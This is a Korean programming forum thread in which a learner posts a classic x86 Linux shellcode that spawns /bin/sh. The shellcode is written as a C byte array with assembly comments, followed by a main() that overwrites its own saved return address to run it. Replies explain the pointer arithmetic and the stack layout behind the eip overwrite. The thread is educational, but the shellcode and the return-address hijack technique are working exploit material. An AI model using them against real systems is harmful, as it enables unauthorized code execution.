쉘코드 중에 궁금한점이있는데;

jenix의 이미지


char shellc0de[] = 
"\xeb\x2a"			//jmp	0x2a
"\x5e"				//popl	%esi
"\x89\x76\x08"			//movl	%esi,0x8(%esi)
"\xc6\x46\x07\x00"		//movb	$0x0,0x7(%esi)
"\xc7\x46\x0c\x00\x00\x00\x00"  //movl	$0x0,0xc(%esi)
"\xb8\x0b\x00\x00\x00"		//movl	$0xb,%eax
"\x89\xf3"			//movl	%esi,%ebx
"\x8d\x4e\x08"			//leal	0x8(%esi),%ecx
"\x8d\x56\x0c"			//leal	0xc(%esi),%edx
"\xcd\x80"			//int	$0x80
"\xb8\x01\x00\x00\x00"		//movl	$0x1,%eax
"\xbb\x00\x00\x00\x00"		//movl	$0x0,%ebx
"\xcd\x80"			//int	$0x80
"\xe8\xd1\xff\xff\xff"		//call	-0x2f
"/bin/sh";			//.string \"/bin/sh\"

void main(){
	int *ret;
	
	ret = (int *)&ret + 2;
	(*ret) = (int)shellc0de;
	
}

위와 같은 쉘코드가 있습니다
그런데
ret = (int *)&ret + 2;
의 부분에서 어째서 ret 의주소를 2 만큼 증가시켜 주는것인지
잘 이해가안가는데요 ^^;
고수님들의 가르침 부탁드립니다 _ _*[/code]

advanced의 이미지

int 형의 포인터에 값을 더 했으니 거기서 1은 int 형의 크기를 뜻하는걸껍니다

현재 ia32 x86 컴퓨터에서 일반적으로 int 형이 4byte 니

그럼 ret+8byte 이 되겠네요

jyj9782의 이미지

그러니까
ret 라는 포인터 변수가 4바이트죠?

[ret변수][sfp][eip] 있을떄요.
ret 변수에서 8바이트 뒤가 eip 죠? 여기에..
쉘코드의 주소값을 넣어줘야겠죠 ? 그런데..
int 나 long 이나.. 4바이트 연속이에요. 그러니
4*2 = 8 해서 8바이트 가 되는거죠.

그 위치를 ret 로 포커싱한다음에.. 그기에 쉘코드의 주소를 담아준거에요. 그래서 eip 를 덮어써서 종료될때.. 메인함수가.. 쉘코드를 실행시킨거죠.

힘내세요.